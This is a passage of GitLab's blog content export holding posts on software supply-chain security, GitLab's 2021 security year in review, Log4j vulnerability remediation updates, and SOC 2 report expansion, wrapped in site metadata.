the question is not if DevOps teams will integrate security into the software supply chain, but when and how quickly. The high-profile supply chain attacks of 2020 and 2021 have forced organizations to do more to protect themselves and their customers. Every DevOps team should strive to be an elite team in this area, aka [DevSecOps](/topics/devsecops/), as doing less will leave your software supply chains vulnerable.\n\nWhile many organizations might have been hesitant to blend security and DevOps over fears of how it would impact deployment schedules and performance, Google Cloud’s DevOps Research and Assessment (DORA) team concluded in its [“Accelerate State of DevOps 2021 Report”](https://services.google.com/fh/files/misc/state-of-devops-2021.pdf) that “development teams that embrace security see significant value driven to the business.”\n\nTeams that integrate security practices throughout their development process are 1.6 times more likely to meet or exceed their organizational goals, according to the report, which is co-sponsored by GitLab. Meantime, elite performers that met or exceeded their reliability targets were twice as likely to have security integrated into their development process.\n\nTo get to this elite level, though, security has to be baked into DevOps processes at the earliest stages. DevOps and security teams need to collaborate to ensure that they understand one another’s goals and speak the same technical language so they can develop DevSecOps best practices that effectively and efficiently satisfy those goals.\n\nOur newly released [“Guide to Software Supply Chain Security”](https://learn.gitlab.com/devsecops-aware/software-supply-chain-security-ebook) explains the urgency of protecting the supply chain now – no one wants a repeat of the SolarWinds or Colonial Pipeline attacks – and how the U.S. government will soon require many organizations to do so.\n\nWe help DevOps teams frame what it means to be elite, including moving beyond basic protections (using strong passwords, applying software patches in a timely manner, and implementing multi-factor authentication) to deploying these best practices:\n\n* Apply common controls for security and compliance\n* Automate common controls and CI/CD\n* Apply zero-trust principles\n* Inventory all tools and access, including infrastructure as code\n* Consider unconventional scale to find unconventional vulnerabilities\n* Secure containers and orchestrators\n\nThe guide also explains in detail the types of security scans that bolster supply chain security, including container scanning, dependency scanning, fuzz testing, dynamic application security testing (DAST) and static application security testing (SAST), license compliance, and secret detection.\n\nFor those unsure where they fall on the spectrum of supply chain security readiness, we’ve developed a two-minute quiz that examines how you handle the security of APIs, dependencies, and other critical areas.  Use your ranking to plot your transformation to an elite team.\n\nAs the DORA report showed, there is room for improvement across the industry as fewer than two-thirds of DevOps teams are doing these simple security practices:\n\n* 63% invite InfoSec teams early and often\n* 60% perform security reviews\n* 58% test for security\n* 54% integrate security reviews into every phase\n* 49% build pre-approved code\n\nThere is little doubt that 2022 will have more high-profile supply chain attacks, but our guide can help you develop DevOps security processes that will protect your organization and your customers.\n\n## Read more on elite teams and supply chain security here:\n- [How to make your DevOps team elite performers](/blog/how-to-make-your-devops-team-elite-performers/)\n- [How a DevOps Platform helps protect against supply chain attacks](https://about.gitlab.com/blog/devops-platform-supply-chain-attacks/)\n- [DevSecOps FAQ: Get up to speed](https://about.gitlab.com/blog/devsecops-faq-get-up-to-speed-on-this-hot-devops-area/)\n",[2849,14,818],{"slug":3672,"featured":6,"template":677},"elite-team-strategies-to-secure-software-supply-chains","content:en-us:blog:elite-team-strategies-to-secure-software-supply-chains.yml","Elite Team Strategies To Secure Software Supply Chains","en-us/blog/elite-team-strategies-to-secure-software-supply-chains.yml","en-us/blog/elite-team-strategies-to-secure-software-supply-chains",{"_path":3678,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3679,"content":3685,"config":3690,"_id":3692,"_type":16,"title":3693,"_source":17,"_file":3694,"_stem":3695,"_extension":20},"/en-us/blog/gitlab-security-twenty-twenty-one",{"title":3680,"description":3681,"ogTitle":3680,"ogDescription":3681,"noIndex":6,"ogImage":3682,"ogUrl":3683,"ogSiteName":767,"ogType":768,"canonicalUrls":3683,"schema":3684},"GitLab Security in 2021: protect, enhance, certify and strengthen","Join our Security team as we review how we worked to keep GitLab, and our community, secure this past year.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670795/Blog/Hero%20Images/security-year-in-review-2021.png","https://about.gitlab.com/blog/gitlab-security-twenty-twenty-one","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Security in 2021: protect, enhance, certify and strengthen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johnathan Hunt\"}],\n        \"datePublished\": \"2021-12-17\",\n      }",{"title":3680,"description":3681,"authors":3686,"heroImage":3682,"date":3687,"body":3688,"category":14,"tags":3689},[3549],"2021-12-17","\n\n2021 has turned out to be another … interesting year, especially for those of us in the security industry.  Like so many software companies in the business, much of our recent focus has shifted to collective, cross-organizational research efforts to identify, mitigate and help resolve the threat posed by the Log4j vulnerability (See [our response](/blog/updates-and-actions-to-address-logj-in-gitlab/), as well as our post where we detail [how to use GitLab to detect Log4j vulnerabilities](/blog/use-gitlab-to-detect-vulnerabilities/)).  \n\nThankfully though, 2021 was also focused on growing the Security department and adding additional teams and roles, bolstering enterprise SaaS security, reducing our threat landscape with improvements to supply chain security and APT threat protection, and fulfilling our mission of working to enable GitLab to succeed in the most secure way possible (see our [vision and mission statements](/handbook/security/#-security-vision-and-mission)). We achieved impressive results through expansion of our security third-party certification and self-attestation portfolio, contribution of GitLab and customer impacting product security features and improved security across all teams and domains in our security program. Our security teams also focused on improving processes and programs that enable customers on their trust journey, educate and engage team members to contribute toward improving our security posture, and encourage and enable collaboration from our community to strengthen GitLab. These efforts have been successful due to the contributions of our talented and dedicated Security team members, as well as the groups and individuals we partner with each day; including our wider community. THANK YOU for making GitLab stronger! \n\n## Improving assurance for the GitLab community\n\nOur [Security Assurance sub-department](/handbook/security/security-assurance/) spent the last year working across our organization to pursue and complete certifications, test and strengthen governance, assess and manage risk, and provide overall support and enablement to GitLab teams and our customers through a number of initiatives.\n\n### Certification portfolio expansion \n\nOur Security Assurance team built on a [successful 2020](/blog/how-we-made-gitlab-more-secure-in-twenty-twenty/) by focusing on our ambitious pursuit of [compliance certifications](/handbook/security/security-assurance/security-compliance/certifications.html) with the issuance of GitLab’s first [SOC 2 Type 2/SOC 3 reports](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/serviceorganization-smanagement) for the Security [Trust Service Criteria (TSC)](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/trustdataintegritytaskforce) dated December 2020. Then, to support customers who need reports by the end of the calendar year, we adjusted our 2021 SOC reporting period to end on October 31st. For our most recent SOC reports we also added the [Confidentiality TSC](/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria/) to further highlight the maturity of our operating environment. \n\nIn addition, we delivered our very first [ISO/IEC 27001:2013 certification](https://www.globenewswire.com/en/news-release/2021/12/15/2352975/0/en/A-Compliance-Win-GitLab-Inc-Successfully-Achieves-ISO-IEC-27001-2013-Certification.html) in 2021. Certification against this highly-regarded baseline security standard recognizes our proven commitment to the highest level of information security management.\n\nLastly, in alignment with our continued commitment to transparency we publish all of our security certifications and attestation as part of GitLab’s [Customer Assurance Package](/security/cap/) (learn more below). \n\n### True, continuous control monitoring  \n\nOur [Security Compliance team](/handbook/security/security-assurance/security-compliance/) upgraded our [GitLab Control Framework (GCF)](/handbook/security/security-assurance/security-compliance/sec-controls.html) in 2021 by adopting the Secure Control Framework (SCF) and moving into a [new GRC tool: ZenGRC](/handbook/business-technology/tech-stack/#zengrc). This upgraded control framework has increased testing efficiency and allowed GitLab to achieve our external compliance and regulatory obligations with minimized impact to our teams. This, along with our system/profile-based approach to testing, enabled us to achieve [successful external audits](/handbook/security/security-assurance/security-compliance/certifications.html) and the implementation of strong [IT general controls (ITGCs) for SOX](/handbook/business-technology/it-compliance/ITGC.html) with a small [team of highly-skilled compliance engineers](/company/team/?department=security-assurance).\n\nWe believe our approach to control monitoring has a natural bias towards automation which allows our program to scale, along with GitLab. We’ve continued automating our compliance and regulatory workflows and, where possible, testing evidence as we work towards true continuous control monitoring with proactive alerting of control risks.\n\n### Next generation customer assurance services \n\nOur [Field Security team](/handbook/security/security-assurance/field-security/) deployed [GitLab’s Trust Center](/security/) and next generation Customer Assurance Package to further support our customers on their GitLab trust journey. As part of this effort we expanded our Customer Assurance Package to include the [Standard Information Gathering (SIG) Lite](https://sharedassessments.org/sig/) pre-completed questionnaire, completed an [ISO 20243 Self-Assessment](https://certification.opengroup.org/register/ottps-certification) for both our SaaS and Self-Managed service offerings, and became a [CSA STAR Trusted Cloud Service Provider](https://cloudsecurityalliance.org/star/registry/gitlab/). To support this program internally we dogfooded GitLab’s [Service Desk module](https://docs.gitlab.com/ee/user/project/service_desk.html) to deliver a more efficient way of monitoring, completing and responding to customer assurance requests. \n\nFor this group, 2022 will bring a heavy focus on tooling and automation in support of continued control monitoring, certification expansion and regulated market specialization. \n\n**Note:** Shout out to [@mmaneval20](/company/team/#mmaneval20), [@jburrows001](/company/team/#jburrows001), [@tdilbeck](/company/team/#tdilbeck) and [@julia.lake](/company/team/#Julia.Lake) who provided content for this section!\n{: .note} \n\n## Shoring up our defenses\n\nOur team of [“breakers, builders, and defenders”](/handbook/security/security-operations/#mission) in our [Security Operations sub-department](/handbook/security/#protect-the-company---the-security-operations-sub-department) were *quite* busy this year identifying, preventing, detecting and responding to risks and security events targeting GitLab, our users and the business.\n\n### Identify, analyze and minimize the threat\n\nTo enhance visibility and increase protection of our ever-growing laptop fleet, our [Security Incident Response Team(SIRT)](/handbook/security/security-operations/sirt/) completed early testing of multiple endpoint detection and response platforms this year. After our [IT Ops team](/handbook/business-technology/team-member-enablement/#sts=IT%20Ops) successfully deployed our solution, our SIRT team took over support for the tool and owns the endpoint incident response lifecycle. Alerts from the platform have helped to identify possible issues and allow us to respond quickly to keep GitLab secure. Future plans currently include proactive threat hunting and creating advanced detection mechanisms based on available data points.\n\n### Security automation to address that ever-increasing threat landscape \n\nTo ensure our team’s ongoing incident response efforts are effective against the expanded attack surface and threat landscape that comes with our continued growth and expansion, we’re onboarding incident response automation. This solution has enabled us to automate the handling of reported phishing emails, user attestation on GCP documents access, and the assignment of appropriate response priority level via an incident severity calculator. These enhancements allow our engineers to focus on incident response and devising solutions to more complex issues and incidents.   \n\n### Strengthening GitLab’s security in the shadows\n\nAs for our [Red Team](/handbook/security/threat-management/red-team/), they continued toeing the line of that ever-present balancing act between their stealth, exploratory testing and their commitment to GitLab’s value of transparency; all while helping GitLab implement effective cyber defenses. They held an external-facing [AMA this year in which they answered many questions from our community](/blog/you-asked-and-our-red-team-answered/) and [shared tips on how developers can secure themselves against RCE drive-by attacks](/blog/why-are-developers-vulnerable-to-driveby-attacks/); including details on a real-life disclosure on the GitLab GDK and shared our expertise surrounding offensive and defensive perspectives of attacks hiding malicious code in #OSS contributions at BlackHat Europe with [\"Picking Lockfiles: Attacking & Defending Your Supply Chain\"](https://www.blackhat.com/eu-21/briefings/schedule/#picking-lockfiles--attacking--defending-your-supply-chain-24844). And, much more … which we can’t talk about 😉 😎 .\n\n**Note:** Shout out to [@hasharma](/company/team/#hasharma), [@mjozenazemian](/company/team/#mjozenazemian), [@smanzuik](/company/team/#smanzuik), [@vmairet ](/company/team/#vmairet) and [@blutz1 ](/company/team/#blutz1) who provided content for this section! \n{: .note} \n\n## Strengthening and securing GitLab the product\n\nOur [Security Engineering sub-department](/handbook/security/security-engineering/) endeavors to ensure all aspects of GitLab that are exposed to customers or that host customer data are held to the highest security standards, and to be proactive and responsive to ensure the security of anything GitLab offers. Throughout the year, this group collaborates with teams across the organization, and beyond with the GitLab community, to support our business and their bid to ensure that all GitLab products securely manage customer data.\n\n### Enhance the product with new tooling: Spamcheck and Package Hunter\n\nLast year we blogged about [how we work to detect and mitigate spam on GitLab.com](/blog/how-we-work-to-detect-and-mitigate-spam/). This year our [Security Automation team](/handbook/security/security-engineering/automation/) worked closely with the GitLab Trust and Safety team to [introduce Spamcheck](/blog/introducing-spamcheck-data-driven-anti-abuse/), our new anti-spam engine that has been enabled for all projects on GitLab.com and we're targeting inclusion of Spamcheck in the [14.6 release for our GitLab self-managed customers](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6259). By allowing us to better detect and prevent spam, we believe Spamcheck has significantly improved GitLab’s resilience to it. We recently blogged about the [technical decisions behind Spamcheck](/blog/deep-dive-tech-stack-behind-spamcheck/), as well as some of the early performance data points. You can also check out the [code behind Spamcheck](https://gitlab.com/gitlab-org/spamcheck).\n\nIn July 2021, the GitLab [Security Research team](/handbook/security/security-engineering/security-research/) [released Package Hunter](/blog/announcing-package-hunter/), a tool that helps identify malicious dependencies via runtime monitoring. Powered by [Falco](https://falco.org/), Package Hunter installs a program’s dependencies in a sandbox environment and analyzes system calls for malicious code and other unexpected behavior. Testing of NodeJS and Ruby Gems is currently supported. The project is [open source](https://gitlab.com/gitlab-org/security-products/package-hunter) and we are continually working to improve upon it. Community contributions and feedback are very much welcome!\n\n### Risk reduction and vulnerability management\n\nScaling our [Application Security](/handbook/security/security-engineering/application-security/) efforts has been a big priority for our teams. Again, the key to [doing so successfully is thru automation](/handbook/security/security-engineering/application-security/inventory/), particularly when it comes to keeping track of a growing list of codebases that are constantly changing, adding new components, and relying on different dependencies. For this reason we’re very excited about the progress that has been made on the [GitLab Inventory Builder](https://gitlab.com/gitlab-com/gl-security/engineering-and-research/gib/), a very handy tool capable of generating and maintaining a complete list of projects and their dependencies hosted on GitLab.com or self-hosted instances. This is also our first iteration of using policy-as-code to monitor and control various aspects of our projects. Not only can we track where security scans are not well configured, but we believe we can also spot project configuration issues precisely. With the automatic creation of violation issues in GitLab, we can organize, track, and scale the work of our Security Engineers more efficiently. Take a look at this [live action demo](https://gitlab-com.gitlab.io/gl-security/engineering-and-research/inventory-example/) and view the [example code supporting it](https://gitlab.com/gitlab-com/gl-security/engineering-and-research/inventory-example) for more information!\n\nDuring 2021 we bootstrapped our [Infrastructure Security team](/handbook/security/security-engineering/infrastructure-security/) and program. This new team works as a stable counterpart to the Infrastructure team and collaborates across Infrastructure and Security to help identify and mitigate security issues, vulnerabilities, and misconfigurations by applying their in-depth knowledge of operating systems, infrastructure, and cloud providers. With this new team and program we’ve bolstered our security observability, added an operating system instrumentation platform, enhanced monitoring, and created an analytics framework for our hosts; all of which help give us insight into all aspects of our production systems. We’ve also deployed an intuitive security graph tool across our cloud platforms that inventories all of our assets and shows the connections between them, but also enables querying based on various metadata. We believe these efforts have already resulted in significant security risk reduction, enhanced vulnerability management, increased observability, and granular monitoring capabilities. \n\nTo help team members understand the security implications of the systems and features they design and work on, this year our team formalized and integrated a [threat modeling process](/handbook/security/threat_modeling/) here at GitLab. Building upon the [evidence driven threat modeling approach that we started working towards adopting last year](/handbook/security/threat_modeling/#the-framework), we’ve iterated on the threat modeling processes and tooling in order to increase adoption, usage, and understanding across GitLab teams. We’ve also added [issue templates](https://docs.gitlab.com/ee/user/project/description_templates.html#create-an-issue-template) to our internal threat modeling repository and improved upon our [threat modeling runbook](/handbook/security/security-engineering/application-security/runbooks/threat-modeling.html). We talk about some of the basics of threat modeling and [how we’ve developed a framework that will work for GitLab in our blog](/blog/creating-a-threat-model-that-works-for-gitlab/).\n\n### Strengthening our product through global expertise and contributions\nThis past year we received 752 reports from 404 talented bug bounty reporters from all across the globe who helped us to strengthen our product through the identification of security vulnerabilities. \n\nIn February, we moved to a managed bug bounty program with [HackerOne](https://hackerone.com/gitlab). This enables us to scale our report triage process, filter out the noise, and ultimately present the most important reports to our development teams faster. In November, we kicked off, [“Our 3rd annual bug bounty contest: the swagtastic sequel to the sequel“](/blog/3rd-annual-bug-bounty-contest), announced a near double in [bounty rewards and detailed our move to standardize bounty payments by using CVSS along with a [nifty CVSS calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/#). This program, and the amazing bug bounty hunters who contribute to it, continue to raise GitLab’s security bar and reduce risk for our customers. You can read more about what happened in our bug bounty program this past year in [“2021: Smashing bugs and dropping names”](https://about.gitlab.com/blog/smashing-bugs-and-dropping-names-in-2021/).\n\n**Note:** Shout out to [@ankelly](/company/team/#ankelly), [@jritchey](/company/team/#jritchey), [@plafoucriere](/company/team/#plafoucriere), [@heather ](/company/team/#heather) and [@laurence.bierner](/company/team/#laurence.bierner) who provided content for this section! \n{: .note} \n\n## Everyone can contribute…to Security\n\nWhen we say that [Security is a team effort](https://about.gitlab.com/direction/security/#security-is-a-team-effort), we mean it.  These three sub departments, and the 12 teams that sit within them work collaboratively (and sometimes tirelessly) with dozens of teams across GitLab, and community members, to keep GitLab secure and protect our company, the community and our customers.   Thank you to everyone who contributes here and best wishes for a safe, healthy and happy 2022! 🥂\n\n",[14],{"slug":3691,"featured":6,"template":677},"gitlab-security-twenty-twenty-one","content:en-us:blog:gitlab-security-twenty-twenty-one.yml","Gitlab Security Twenty Twenty One","en-us/blog/gitlab-security-twenty-twenty-one.yml","en-us/blog/gitlab-security-twenty-twenty-one",{"_path":3697,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3698,"content":3703,"config":3709,"_id":3711,"_type":16,"title":3712,"_source":17,"_file":3713,"_stem":3714,"_extension":20},"/en-us/blog/updates-and-actions-to-address-logj-in-gitlab",{"title":3699,"description":3700,"ogTitle":3699,"ogDescription":3700,"noIndex":6,"ogImage":3429,"ogUrl":3701,"ogSiteName":767,"ogType":768,"canonicalUrls":3701,"schema":3702},"GitLab addresses Log4j vulnerabilities with security updates","Actions we’ve taken to investigate and mitigate the impact of Log4j, and actions our users can take.","https://about.gitlab.com/blog/updates-and-actions-to-address-logj-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates and actions to address Log4j CVE 2021 44228 and CVE 2021 45046 in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-15\",\n      }",{"title":3704,"description":3700,"authors":3705,"heroImage":3429,"date":3706,"body":3707,"category":14,"tags":3708},"Updates and actions to address Log4j CVE 2021 44228 and CVE 2021 45046 in GitLab",[3435],"2021-12-15","\n\n**Updated 6:00 PM UTC January 25, 2022**\nAs of January 22, 2022, we have [updated the GitLab dependency scanning and SAST analyzers to use the latest version of log4j, 2.17.1](https://gitlab.com/groups/gitlab-org/-/epics/7321). Additionally, we have removed log4j as a dependency from our license scanning analyzer. At this point, we believe that all impacted GitLab components have been updated to the newest log4j version. Our teams continue to monitor and investigate this issue to ensure that our products and customers are secure.\n\n---\n\n**Updated 8:00 PM UTC January 05, 2022**\n\nTL;DR: We have investigated the new Log4j vulnerability, [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832), and have determined that this is a low impact to the GitLab platform and our customers. We will continue to monitor this situation closely and will continue to keep you informed.\n\nOn 2021-12-28, [version 2.17.1 of Apache Log4j was released](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832), containing a fix for CVE-2021-44832. This vulnerability does not pose a significant risk to GitLab Self-managed or SaaS offerings. As mentioned in previous updates, we are planning on updating Log4j in SAST and Dependency Scanning analyzers GitLab 14.7 scheduled for January 22, 2022. We will now be targeting version Log4j 2.17.1 for these updates.\n\n---\n\n**Updated 10:45 PM UTC December 21, 2021**\n\nTL;DR: We have investigated the new Log4j denial of service vulnerability, [CVE-2021-45105](https://nvd.nist.gov/vuln/detail/CVE-2021-45105), and have determined that this is a low impact to the GitLab platform and our customers. We will continue to monitor this situation closely and will continue to keep you informed.\n\nUsers with default configurations of SAST and Dependency scanning of GitLab Self-managed and SaaS are at very low risk for Log4j vulnerabilities. If you are not running default configurations, please read on for recommended actions.\n\nWe’ve established that exploitation of this vulnerability in GitLab does not impact confidentiality, integrity, or availability of customer data. If exploited, an attacker would be able to crash the SAST or Dependency Scanning analyzer that’s currently running in a CI job only. Exploitation requires privileged access to the running CI job. Additionally, exploitation requires a specific set of Log4j configurations, and GitLab deploys Log4j in a default configuration during CI job operations that require it. \n\nDue to the low level of risk involved here, we plan to update Log4j in SAST and Dependency Scanning analyzers to v2.17.1 in GitLab 14.7 scheduled for January 22, 2022. Should this situation change, we will update customers immediately.\n\n---\n\n**Updated 12:30 AM UTC December 18, 2021**\n\nOn 2021-12-16 the Scala programming language announced that sbt [includes a Log4j dependency that is vulnerable to CVE-2021-44228](https://www.scala-lang.org/blog-detail/2021/12/16/state-of-log4j-in-scala-ecosystem.html), although it is not enabled by default. The Spotbugs SAST analyzer for Java, Scala, Groovy, and Kotlin code includes sbt. GitLab has updated the sbt version in this analyzer to version 1.5.7, which includes an updated version of Log4j. By default, this analyzer only runs when Java, Scala, Groovy, or Kotlin language code is detected, and sbt is only invoked when Scala code is found.\n\nFor those running Spotbugs with default configurations for SAST, no action is needed.  \n\n### Action needed:\n* [For those users running older version of SAST, or using modified configurations](/blog/updates-and-actions-to-address-logj-in-gitlab/#actions-recommended-for-customers-running-older-versions-of-sast-and-dependency-scanning-or-using-modified-configurations)\n* [For Self-Managed customers running an offline environment](/blog/updates-and-actions-to-address-logj-in-gitlab/#actions-recommended-for-self-managed-customers-running-an-offline-environment)\n\nWe’ve updated the contents of this blog post to reflect this new finding and fix. _2021-12-18 updates are in italics below._\n\n---\n\nWe want to share the actions we’ve taken in response to the Log4j remote code execution vulnerabilities [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) and [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046). Upon becoming aware of the vulnerabilities, we immediately mobilized our Security and Engineering teams to determine usage of this software component and its potential impact within our product, across our company, and within our third-party software landscape. Our teams have continued to investigate and monitor the situation over the past few days and it has since become known that the following third-party software dependencies used in our SAST and Dependency Scanning features include the vulnerable Log4j libraries:\n\n* PMD OSS (used in SAST)\n* Spotbugs (used in SAST) _(Updated again on 2021-12-17)_\n* Gemnasium-Maven (used in Dependency Scanning)\n\nAt this time, no malicious activity, exploitation, or indicators of compromise have been identified on GitLab.com.\n\n## Actions we have taken to address the Log4j vulnerabilities\n* We have confirmed our DAST analyzer is not using a vulnerable version of Log4j.\n* We have removed Log4j from PMD OSS [v2.12.10](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex/-/tags/v2.12.10).\n* We have upgraded Log4j to [version 2.16](https://logging.apache.org/log4j/2.x/security.html) in Spotbugs [v2.28.11+1](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/tags/v2.28.11+1) and [v2.28.10+1](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs/-/tags/v2.28.10+1). _(Updated again on 2021-12-17 for SBT)_\n* We have upgraded Log4j to [version 2.16](https://logging.apache.org/log4j/2.x/security.html) in Gemnasium-Maven [v2.24.3](https://gitlab.com/gitlab-org/security-products/analyzers/gemnasium-maven/-/tags/v2.24.3).\n\n## Default configurations for SAST and Dependency Scanning are fully patched\n* GitLab.com and self-managed customers who are running the default configurations for [SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuration) are fully patched. **No action is required.**\n\n## Actions recommended for customers running older versions of SAST and Dependency Scanning, or using modified configurations\n* Upgrade your version of [SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuration) using our docs.\n* Visit this [forum post](https://forum.gitlab.com/t/actions-needed-for-customers-running-older-versions-of-sast-and-gemnasium-dependency-analyzer/62928) for alternative workarounds.\n\n## Actions recommended for Self-Managed customers running an offline environment\n* Visit our [instructions for running SAST in an offline environment](https://docs.gitlab.com/ee/user/application_security/sast/index.html#running-sast-in-an-offline-environment) or our [Dependency Scanning offline documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#running-dependency-scanning-in-an-offline-environment) for details on how to update your SAST or Dependency Scanning analyzers.\n\nOur teams are continuing to investigate this issue to ensure that our products and customers are secure. We will provide further communication if additional risks are identified.\n\n## Questions and more information\nIf you have questions, you can post them to this related [forum thread](https://forum.gitlab.com/t/actions-needed-for-customers-running-older-versions-of-sast-and-gemnasium-dependency-analyzer/62928). Customers with an active support contract can also open a [support ticket](https://support.gitlab.com/hc/en-us/requests/new). See our related blog post for information on [how to use GitLab security features to detect Log4j vulnerabilities](/blog/use-gitlab-to-detect-vulnerabilities/).\n\n## Get the latest updates\n* [Subscribe to our security alerts mailing list](https://about.gitlab.com/company/preference-center/)(we'll send you emails like this one each time we make a new update).\n* Bookmark this blog post\n* Subscribe to the [RSS feed for the commit history](https://gitlab.com/gitlab-com/www-gitlab-com/-/commits/master/sites/uncategorized/source/blog/blog-posts/2021-12-15-updates-and-actions-to-address-logj-in-gitlab.html.md.erb?&format=atom) for this blog post.\n",[14],{"slug":3710,"featured":6,"template":677},"updates-and-actions-to-address-logj-in-gitlab","content:en-us:blog:updates-and-actions-to-address-logj-in-gitlab.yml","Updates And Actions To Address Logj In Gitlab","en-us/blog/updates-and-actions-to-address-logj-in-gitlab.yml","en-us/blog/updates-and-actions-to-address-logj-in-gitlab",{"_path":3716,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3717,"content":3723,"config":3731,"_id":3733,"_type":16,"title":3734,"_source":17,"_file":3735,"_stem":3736,"_extension":20},"/en-us/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria",{"title":3718,"description":3719,"ogTitle":3718,"ogDescription":3719,"noIndex":6,"ogImage":3720,"ogUrl":3721,"ogSiteName":767,"ogType":768,"canonicalUrls":3721,"schema":3722},"GitLab expands SOC 2 Type II trust services report criteria","Here's how we expanded our SOC 2 Type 2 and SOC 3 reports.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669950/Blog/Hero%20Images/security-cameras.jpg","https://about.gitlab.com/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab successfully expanded our SOC 2 Type II Trust Services Report Criteria\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julia Lake\"},{\"@type\":\"Person\",\"name\":\"Liz Coleman\"}],\n        \"datePublished\": \"2021-12-14\",\n      }",{"title":3724,"description":3719,"authors":3725,"heroImage":3720,"date":3727,"body":3728,"category":14,"tags":3729},"How GitLab successfully expanded our SOC 2 Type II Trust Services Report Criteria",[3726,2422],"Julia Lake","2021-12-14","\nSOC reports are important attestations provided by an independent third party affirming that organizations are in compliance with specific technical and operational requirements defined by the American Institute of Certified Public Accountants (AICPA). GitLab obtained its first [SOC 2 Type 2 and SOC 3 reports in 2020](/press/releases/2021-02-04-soc2-and-3-certifications.html), focused on the Security criteria, for the GitLab software-as-a-service (SaaS) platform. \n\nFor 2021, GitLab’s [Security Assurance](/handbook/security/security-assurance/) team pursued expansion of our SOC 2 Type 2 and SOC 3 reports to include not only the Security, but also the Confidentiality [Trust Services Criteria (TSC)](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/trustdataintegritytaskforce). If you are not familiar with the TSCs, here's what they cover:\n\n**Security**. Information and systems are protected against unauthorized access, unauthorized disclosure of information, and damage to systems that could compromise the availability, integrity, confidentiality, and privacy of information or systems and affect the entity’s ability to meet its objectives.\n\n**Confidentiality**. Information designated as confidential is protected to meet the entity’s objectives.\n \nThe work associated with criteria expansion required early preparation and a multi-quarter effort. We verified expansion readiness in phases:\n\n* **Phase 1:** We performed a gap analysis against the [criteria](https://us.aicpa.org/content/dam/aicpa/interestareas/frc/assuranceadvisoryservices/downloadabledocuments/trust-services-criteria-redlined.pdf) to determine existing control coverage and gaps and provide data to make a `go/no-go` decision.\n\n* **Phase 2:** We upgraded our [GitLab Control Framework (GCF)](/handbook/security/security-assurance/security-compliance/security-control-lifecycle.html) to include the new criteria requirements and held control owner deployment sessions, developed test plans, conducted detailed internal control testing, and worked any observations](/handbook/security/security-assurance/observation-remediation-procedure.html) through to closure. \n\n* **Phase 3**: We presented our validated draft controls to our independent third party auditor to confirm scope and readiness.\n\nOnce all 3 phases were complete, the SOC audit was scheduled and executed. The phased preparation allowed for both GitLab and our independent third party auditor to conduct the audit with full [transparency](https://handbook.gitlab.com/handbook/values/#transparency) and alignment. The audit process also revealed no formal exceptions.\n\nHere at GitLab we are always pursuing [the expansion of our security certification portfolio](/handbook/security/security-assurance/security-compliance/certifications.html#planned-roadmap) as we not only want to give our customers and community additional assurance, but also additional transparency into our information security practices. Have a certification you’d like to see us work towards? Let us know by emailing customer-assurance@gitlab.com, we’d love to hear from you!\n\n_Follow GitLab’s [Security Trust Center](/security/) for updates and more details on our certification portfolio. GitLab’s SOC 3 report is now publicly available via GitLab’s [Customer Assurance Package](https://about.gitlab.com/security/cap/)._\n\n\n",[14,1292,3730],"growth",{"slug":3732,"featured":6,"template":677},"how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria","content:en-us:blog:how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria.yml","How Gitlab Successfully Expanded Our Soc 2 Type Ii Trust Services Report Criteria","en-us/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria.yml","en-us/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria",{"_path":3738,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3739,"content":3745,"config":3749,"_id":3751,"_type":16,"title":3752,"_source":17,"_file":3753,"_stem":3754,"_extension":20},"/en-us/blog/smashing-bugs-and-dropping-names-in-2021",{"title":3740,"description":3741,"ogTitle":3740,"ogDescription":3741,"noIndex":6,"ogImage":3742,"ogUrl":3743,"ogSiteName":767,"ogType":768,"canonicalUrls":3743,"schema":3744},"2021: Smashing bugs and dropping names","We take a look at some of the big things that happened in our Bug Bounty program this last year and celebrate the contributions of the bug bounty hunters who make it all possible.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670978/Blog/Hero%20Images/3-bug-bounty-3-years-blog.png","https://about.gitlab.com/blog/smashing-bugs-and-dropping-names-in-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        